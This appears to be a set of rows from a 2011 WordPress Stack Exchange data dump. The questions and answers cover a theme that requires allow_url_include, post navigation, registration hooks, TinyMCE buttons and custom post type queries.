  <row Id="13738" PostTypeId="1" AcceptedAnswerId="13740" CreationDate="2011-04-01T20:57:21.820" Score="0" ViewCount="220" Body="&lt;p&gt;I don't even know where to start with this one. I'm using a theme that requires me to override server php.ini settings in my own php.ini with &lt;code&gt;allow_url_include = on&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That setting at very least seems to be a security risk, according to many (and my webhost) at most it requires some other users on some other hosts to add that line to their own php.ini files or some theme features won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Some popular hosts like Bluehost have &lt;code&gt;allow_url_include = on&lt;/code&gt; as default.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know where in the theme functions to look to a) find what requires &lt;code&gt;allow_url_include = on&lt;/code&gt; and b) how to start working on it to change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of these types of constructs the culprit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include &quot;scripts/scripts-google.php&quot;;&#xA;    global $wpdb; ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('ABSPATH', dirname(dirname(dirname(dirname(dirname(dirname(__FILE__)))))).'/');&#xA;include_once(ABSPATH.'wp-config.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include &quot;scripts/scripts-upload.php&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pg_inner_custom_box_1() {&#xA;    $dir = dirname(dirname(__FILE__));&#xA;    include($dir.'/admin/gallery/display_galleries.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.domain.com/presets/&#xA;&amp;lt;?php echo str_replace(&quot;-&quot;, &quot;_&quot;, $presets-&amp;gt;preset_name); ?&amp;gt;.jpg&quot; id=&quot;single_image&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://www.domain.com/presets/&#xA;&amp;lt;?php echo str_replace(&quot;-&quot;, &quot;_&quot;, $presets-&amp;gt;preset_name); ?&amp;gt;_sm.jpg&quot; style=&quot;width:225px;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RSS Feed (please include http://)&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;social_rss&quot; size=&quot;50&quot; value=&quot;&amp;lt;?php echo $social_rss; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-01T22:23:56.033" LastActivityDate="2011-04-01T22:23:56.033" Title="Theme requires allow_url_include = on in php.ini" Tags="&lt;php&gt;&lt;php.ini&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="13739" PostTypeId="2" ParentId="13738" CreationDate="2011-04-01T21:01:24.990" Score="1" ViewCount="" Body="&lt;p&gt;Requiring &lt;code&gt;allow_url_include&lt;/code&gt; seems quite weird for a theme, I can't think of a reason for it to be necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway if you want to find out where it might be needed, scan the theme's files for instances of &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;include_once&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt; and &lt;code&gt;require_once&lt;/code&gt; as these are the PHP functions on which that directive has effect.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2011-04-01T21:01:24.990" CommentCount="3" />
  <row Id="13740" PostTypeId="2" ParentId="13738" CreationDate="2011-04-01T22:07:01.167" Score="4" ViewCount="" Body="&lt;p&gt;Okay, first off, that's an incredibly badly made theme. Your item number 2 there indicates to me that he making AJAX calls in entirely the wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, look for anything in the theme that is using http but not in a link. allow_url_include basically lets you include some PHP from a remote site, which is indeed bad, but he might just be using it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the theme was freely available, I could look at it and give you more information. Is this theme available for download?&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-01T22:07:01.167" CommentCount="8" />
  <row Id="13742" PostTypeId="1" CreationDate="2011-04-01T22:21:36.847" Score="0" ViewCount="70" Body="&lt;p&gt;On my site: www.finmand.dk/almastofa/nyheder (a danish site) I have used this code to navigate between the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach(get_the_category() as $category)&#xA;{ $thecat = $category-&amp;gt;cat_ID; } ?&amp;gt;&#xA;&amp;lt;?php $result = &quot;&amp;lt;ul class='lcp_catlist'&amp;gt;&quot;;&#xA;$catposts = get_posts('category='.$thecat.&quot;&amp;amp;orderby=monthly=asc&amp;amp;numberposts=&quot;.$NUMBEROFPOSTS);&#xA;foreach($catposts as $single):&#xA;    $result .= &quot;&amp;lt;li&amp;gt;&amp;lt;a href='&quot;;&#xA;    $result .=get_permalink($single-&amp;gt;ID).&quot;'&amp;gt;&quot;.$single-&amp;gt;post_title.&quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;endforeach;&#xA;$result .= &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;echo $result; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This right thing about the code is that it only shows on the News page /Nyheder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is It only shows the newest post, and links to a page called sample-post. Which I don't have, so I get page not found. I would like it to link to page.php or single.php. But I can't figure out where to change it in the code. &#xA;And I would like the navigation in the sidebar to be shown by Month and year posted. Not as now with name. But again - Beginner programmer with zero luck.&#xA;So can anybody give me a hint on what to write?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I may be playing with the big boys now regarding knowledge about &quot;heavy&quot; programming, and my problem may seem insignificant - but we all have to start somewhere.&#xA;Hopeful &#xA;Thanks&#xA;Marlene &lt;/p&gt;&#xA;" OwnerUserId="4378" LastActivityDate="2011-08-31T13:37:34.763" Title="Post navigation using date" Tags="&lt;posts&gt;&lt;navigation&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="13743" PostTypeId="2" ParentId="13742" CreationDate="2011-04-01T22:27:47.373" Score="0" ViewCount="" Body="&lt;p&gt;If you're trying to navigate between posts in the same category, would &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/next_post_link&quot; rel=&quot;nofollow&quot;&gt;next_post_link()&lt;/a&gt;/&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/previous_post_link&quot; rel=&quot;nofollow&quot;&gt;previous_post_link()&lt;/a&gt; work for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These functions have an &lt;code&gt;$in_same_cat&lt;/code&gt; argument, that would appear to suit your needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-category-archive/&quot; rel=&quot;nofollow&quot;&gt;WP Category Archives&lt;/a&gt;, that might point you in the right direction? It purports to display:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...a monthly or yearly archive of posts for one specific category. It is very similar to the WordPress Archive except that it just displays one specific category's posts, not all categories. It can be configured to either show a listing or a pulldown by month or year with or without post counts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-01T23:24:51.103" LastActivityDate="2011-04-01T23:24:51.103" CommentCount="9" />
  <row Id="13744" PostTypeId="2" ParentId="11231" CreationDate="2011-04-01T23:28:28.167" Score="2" ViewCount="" Body="&lt;p&gt;I had released my code as &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-hooks-api/&quot; rel=&quot;nofollow&quot;&gt;Advanced Hooks API&lt;/a&gt; plugin in official repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/advanced-hooks-api/trunk/advanced-hooks-api.php&quot; rel=&quot;nofollow&quot;&gt;source in trac&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action_with_arguments('test', 'printf', 10, 'boo%s', '&amp;lt;br /&amp;gt;');&#xA;do_action('test');&#xA;// boo&#xA;&#xA;add_filter_return('test2',10,'boo');&#xA;echo apply_filters('test2','not boo') . '&amp;lt;br /&amp;gt;';&#xA;// boo&#xA;&#xA;add_filter_append('test3',10,' and boo');&#xA;echo apply_filters('test3','boo') . '&amp;lt;br /&amp;gt;';&#xA;// boo and boo&#xA;&#xA;add_filter_prepend('test4',10,'boo and ');&#xA;echo apply_filters('test4','boo') . '&amp;lt;br /&amp;gt;';&#xA;// boo and boo&#xA;&#xA;add_filter_replace('test5','boo','you thought...');&#xA;echo apply_filters('test5','boo');&#xA;// you thought...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-15T15:12:49.900" LastActivityDate="2011-08-15T15:12:49.900" CommentCount="1" />
  <row Id="13745" PostTypeId="2" ParentId="12493" CreationDate="2011-04-01T23:49:30.000" Score="0" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://g.raphaeljs.com/&quot; rel=&quot;nofollow&quot;&gt;gRaphaël&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Official extension of popular &lt;a href=&quot;http://raphaeljs.com/&quot; rel=&quot;nofollow&quot;&gt;Raphaël&lt;/a&gt; JavaScript library. Common core with smaller separate files for each chart type (pie, bar, line, dot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under MIT license (GPLv2 compatible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly has no official documentation, but there are &lt;a href=&quot;https://github.com/kennyshen/g.raphael/tree/master/docs&quot; rel=&quot;nofollow&quot;&gt;some unofficial docs available&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T23:49:30.000" CommunityOwnedDate="2011-04-01T23:49:30.000" />
  <row Id="13746" PostTypeId="2" ParentId="13736" CreationDate="2011-04-02T00:10:14.027" Score="2" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;'wp_insert_post_data'&lt;/code&gt; hook to check if the user is not an admin, and if the post status is allready &quot;published&quot; change it to &quot;pending&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','re_aprove');&#xA;function re_aprove($data , $postarr){&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    //check if current user is not admin&#xA;    if (!current_user_can('manage_options')){ &#xA;        if ($data['post_status'] = &quot;publish&quot;){&#xA;            $data['post_status'] = &quot;pending&quot;;&#xA;        }&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-02T00:10:14.027" />
  <row Id="13747" PostTypeId="1" AcceptedAnswerId="13748" CreationDate="2011-04-02T00:42:40.840" Score="0" ViewCount="206" Body="&lt;p&gt;how can I tell WordPress, that if a user registers, it shall execute my function?&lt;/p&gt;&#xA;" OwnerUserId="4379" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:13:00.957" LastActivityDate="2011-04-04T11:00:01.757" Title="WordPress Hook for user register" Tags="&lt;plugin-development&gt;&lt;hooks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13748" PostTypeId="2" ParentId="13747" CreationDate="2011-04-02T00:50:24.023" Score="3" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;user_register&lt;/code&gt; action hook which fires after a user has registered and passes &lt;code&gt;$user_id&lt;/code&gt; as a variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_register','my_function');&#xA;&#xA;function my_function($user_id){&#xA;  //do your stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-02T00:50:24.023" />
  <row Id="13749" PostTypeId="1" AcceptedAnswerId="13760" CreationDate="2011-04-02T01:13:13.740" Score="1" ViewCount="516" Body="&lt;p&gt;I've followed a tutorial on Nettuts on how to add a custom button to TinyMCE (&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/wordpress-shortcodes-the-right-way/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/wordpress-shortcodes-the-right-way/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works great and all, but i want to add many buttons and i wonder if there's a smart way to do this without having to duplicate all the code over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code i use for adding a button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode(&quot;quote&quot;, &quot;quote&quot;);  &#xA;function quote( $atts, $content = null ) {  &#xA;    return '&amp;lt;div class=&quot;right text&quot;&amp;gt;&quot;'.$content.'&quot;&amp;lt;/div&amp;gt;';  &#xA;}&#xA;&#xA;add_action('init', 'add_button');  &#xA;function add_button() {  &#xA;   if ( current_user_can('edit_posts') &amp;amp;&amp;amp;  current_user_can('edit_pages') )  &#xA;   {  &#xA;     add_filter('mce_external_plugins', 'add_plugin');  &#xA;     add_filter('mce_buttons_3', 'register_button');  &#xA;   }  &#xA;}  &#xA;function register_button($buttons) {  &#xA;   array_push($buttons, &quot;quote&quot;);  &#xA;   return $buttons;  &#xA;}  &#xA;function add_plugin($plugin_array) {  &#xA;   $plugin_array['quote'] = get_bloginfo('template_url').'/js/customcodes.js';  &#xA;   return $plugin_array;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then i create a customcodes.js file with this code in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function() {  &#xA;    tinymce.create('tinymce.plugins.quote', {  &#xA;        init : function(ed, url) {  &#xA;            ed.addButton('quote', {  &#xA;                title : 'Add a Quote',  &#xA;                image : url+'/image.png',  &#xA;                onclick : function() {  &#xA;                     ed.selection.setContent('[quote]' + ed.selection.getContent() + '[/quote]');  &#xA;&#xA;                }  &#xA;            });  &#xA;        },  &#xA;        createControl : function(n, cm) {  &#xA;            return null;  &#xA;        },  &#xA;    });  &#xA;    tinymce.PluginManager.add('quote', tinymce.plugins.quote);  &#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So again, how can i add multiple buttons without having to do all this code for each new button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&#xA;Sebastian&lt;/p&gt;&#xA;" OwnerUserId="4380" LastActivityDate="2011-05-24T20:53:01.467" Title="How to add multiple buttons to TinyMCE?" Tags="&lt;shortcode&gt;&lt;editor&gt;&lt;tinymce&gt;&lt;buttons&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13750" PostTypeId="2" ParentId="13465" CreationDate="2011-04-02T01:49:35.463" Score="0" ViewCount="" Body="&lt;p&gt;I think I found what the problem was. WP-Postviews. I deactivated the plugin and removed all code from it on the site and now everything is running smoothly (at least for the last 3 hours).&lt;/p&gt;&#xA;" OwnerUserId="4278" LastActivityDate="2011-04-02T01:49:35.463" CommentCount="1" />
  <row Id="13752" PostTypeId="2" ParentId="13693" CreationDate="2011-04-02T03:39:41.453" Score="1" ViewCount="" Body="&lt;p&gt;Maybe the svn switch -- relocate repository option can help you here: svn switch --relocate oldURL newURL . ( &lt;a href=&quot;http://svnbook.red-bean.com/en/1.1/re27.html&quot; rel=&quot;nofollow&quot;&gt;http://svnbook.red-bean.com/en/1.1/re27.html&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... a lot more options here: &lt;a href=&quot;http://stackoverflow.com/questions/580443/svn-one-working-copy-two-repositories&quot;&gt;http://stackoverflow.com/questions/580443/svn-one-working-copy-two-repositories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-04-02T03:57:48.307" LastActivityDate="2011-04-02T03:57:48.307" CommentCount="0" />
  <row Id="13753" PostTypeId="1" AcceptedAnswerId="13755" CreationDate="2011-04-02T03:43:55.807" Score="0" ViewCount="154" Body="&lt;p&gt;I am creating a WordPress theme for a record label. One aspect is the video gallery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the gallery using a custom post type called 'videos'. The code below is what I placed in my functions.php file to set up the post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_my_post_types' );&#xA;        function create_my_post_types() {&#xA;&#xA;register_post_type( 'videos',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Videos' ),&#xA;                'singular_name' =&amp;gt; __( 'Video' ),&#xA;                'add_new' =&amp;gt; 'Add New Video',&#xA;                'edit' =&amp;gt; 'Edit Video'&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; false,&#xA;            'supports' =&amp;gt; array( 'title', 'editor', 'thumbnail','page-attributes','excerpt' ),&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'videos', 'with_front' =&amp;gt; false ),&#xA;&#xA;        ));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also created a custom taxonomy called 'artists' so I can assign the artist name to each video I upload.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action( 'init', 'create_videos_taxonomies' );&#xA;&#xA;    function create_videos_taxonomies() {&#xA;&#xA;        register_taxonomy(&#xA;            'artist',&#xA;            'videos',&#xA;            array( &#xA;                    'hierarchical' =&amp;gt; false,&#xA;                    'label' =&amp;gt; 'Artist',&#xA;                    'query_var' =&amp;gt; true,&#xA;                    'show_tagcloud' =&amp;gt; true,&#xA;                    'show_ui' =&amp;gt; true,&#xA;                    'rewrite'=&amp;gt;array('slug' =&amp;gt; 'artists', 'with_front' =&amp;gt; false)&#xA;                  )&#xA;            );&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, everything works fine on the backend and the video page returns all of the videos successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another area of my website, I have pages for every single artist.  On any one of these artist pages, i would like to be able to loop through all of the videos in the custom post type I created, and only return results in a given taxonomy. Below is my code to loop through a custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'videos', 'post_child' =&amp;gt; 0, 'posts_per_page' =&amp;gt; 5 ) ); ?&amp;gt;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;?php the_post_thumbnail( 'video' ); ?&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt; &#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This successfully loops through the videos, and returns the 5 most recent. I need this to loop through all the videos with a specific taxonomy slug or ID. For instance, I created a taxonomy called 'Smash Palace' and it has a slug of 'smash-palace' and an id of '17'. Any idea how I can loop though this custom post type and only return results in a given taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="4357" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:15:27.647" LastActivityDate="2011-04-02T05:15:27.647" Title="looping though custom post types and only return results in a given taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;loop&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13754" PostTypeId="1" AcceptedAnswerId="13836" CreationDate="2011-04-02T04:15:50.147" Score="1" ViewCount="136" Body="&lt;p&gt;For example, at /wp-admin/upload.php are displayed the following filters by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All (6) | Images (6) | Unattached (6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove the &quot;Unattached (6)&quot; filter by?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-03T22:43:19.213" Title="How to remove the Unattached filter on Media Library List?" Tags="&lt;views&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13755" PostTypeId="2" ParentId="13753" CreationDate="2011-04-02T04:43:17.050" Score="2" ViewCount="" Body="&lt;p&gt;Check the documentation here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to add this to your wp_query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'smash-palace' =&amp;gt; 'smash-palace'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, your new query would look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'videos', 'artists' =&amp;gt; 'smash-palace', 'post_child' =&amp;gt; 0, 'posts_per_page' =&amp;gt; 5 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I answered this question under the assumption that &quot;Smash Palace&quot; isn't actually a separate &lt;em&gt;taxonomy&lt;/em&gt;, but a &lt;strong&gt;term&lt;/strong&gt; within your existing &quot;Artists&quot; taxonomy. If &quot;Smash Palace&quot; is actually a separate taxonomy, then the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array (&#xA;   'tax_query' =&amp;gt; array (&#xA;      array (&#xA;         'post_type' =&amp;gt; 'videos',&#xA;         'taxonomy' =&amp;gt; 'smash-palace',&#xA;         'field' =&amp;gt; 'slug',&#xA;         'terms' =&amp;gt; 'slug-of-your-term'&#xA;      )&#xA;   )&#xA;);&#xA;&#xA;$query = new WP_Query( $args );&#xA;&#xA;if( $query-&amp;gt;have_posts() ) {&#xA;   while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;      // output your stuff&#xA;   endwhile;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One thing I noticed:&lt;/strong&gt; if you do not define &quot;terms&quot; in the &lt;code&gt;tax_query&lt;/code&gt; array, you may get unexpected results (or none at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can query multiple terms at once like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array (&#xA;   'tax_query' =&amp;gt; array (&#xA;      ...&#xA;      'terms' =&amp;gt; array ( 'slug-of-term-one', 'slug-of-term-two' )&#xA;   )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps -- let me know if I understood your question correctly.&lt;/p&gt;&#xA;" OwnerUserId="4296" LastEditorUserId="4296" LastEditorDisplayName="" LastEditDate="2011-04-02T05:12:20.333" LastActivityDate="2011-04-02T05:12:20.333" CommentCount="4" />
  <row Id="13756" PostTypeId="2" ParentId="13645" CreationDate="2011-04-02T07:13:44.793" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress Core does not support converting DOC files into posts. You might want to look at the range of importers that are available: &lt;a href=&quot;http://codex.wordpress.org/Importing_Content&quot; rel=&quot;nofollow&quot;&gt;Importing Content (Wordpress Codex)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the concept to import text into one blog post looks like a refreshing new concept to wordpress, core does not support anything at all of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you can convert something into a HTML fragment, you can just copy/paste that HTML over into the HTML editor of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML has nothing like footnotes, so the conversion will lack of that feature and can only simulate footnotes then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-02T07:13:44.793" />
  <row Id="13758" PostTypeId="2" ParentId="13677" CreationDate="2011-04-02T11:07:50.147" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I only want the cache to be cleared when posts are updated, deleted or added&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No need to mess with SQL for this. WordPress has dynamic (formed from variables rather than hardcoded) hooks for changes in post status. See &lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;Post Status Transitions&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these you can precisely hook to post of specific type changing to specific status.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-02T11:07:50.147" />
  <row Id="13759" PostTypeId="2" ParentId="11006" CreationDate="2011-04-02T13:16:28.847" Score="1" ViewCount="" Body="&lt;p&gt;I'd have thought it's just a matter of formulating your HTML in a way that accomodates the image alignment requirement..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have two seperate elements, one for the post's image, one for paragraph(s) of content, and float them side by side. Add a wrapper around the two..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you basically have two elements, side by side and a wrapper, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;|+----++----+|&#xA;+------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If one of the two columns(floated elements) has a larger height, the wrapper extends to match that height, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;|+----+|    ||&#xA;|      +----+|&#xA;+------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;||    |+----+|&#xA;|+----+      |&#xA;+------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And because the wrapper surrounds each result, the baseline of the image and paragraphs are always the same...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your results then appear something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;|+----+|    ||&#xA;|      +----+|&#xA;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;||    |+----+|&#xA;|+----+      |&#xA;+------------+&#xA;|+----++----+|&#xA;||    ||    ||&#xA;|+----+|    ||&#xA;|      +----+|&#xA;+------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously real HTML elements don't look anything like that, but i hope the illsutration helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-02T13:16:28.847" />
  <row Id="13760" PostTypeId="2" ParentId="13749" CreationDate="2011-04-02T13:27:10.963" Score="1" ViewCount="" Body="&lt;p&gt;First add your additional buttons inside the buttons callback..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_button($buttons) {  &#xA;   array_push($buttons, &quot;quote&quot;,&quot;wpse-rules&quot;);  &#xA;   return $buttons;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add additional buttons function inside the plugin javascript..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    init : function(ed, url) {  &#xA;        ed.addButton('quote', {  &#xA;            title : 'Add a Quote',  &#xA;            image : url+'/image.png',  &#xA;            onclick : function() {  &#xA;                 ed.selection.setContent('[quote]' + ed.selection.getContent() + '[/quote]');  &#xA;            }  &#xA;        });&#xA;        ed.addButton('wpse-rules', {  &#xA;            title : 'WPSE Rules',  &#xA;            image : url+'/image.png',  &#xA;            onclick : function() {  &#xA;                 alert( 'WPSE Rules!' ); &#xA;            }  &#xA;        });  &#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so on, for any additional buttons you want.. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-02T13:27:10.963" />
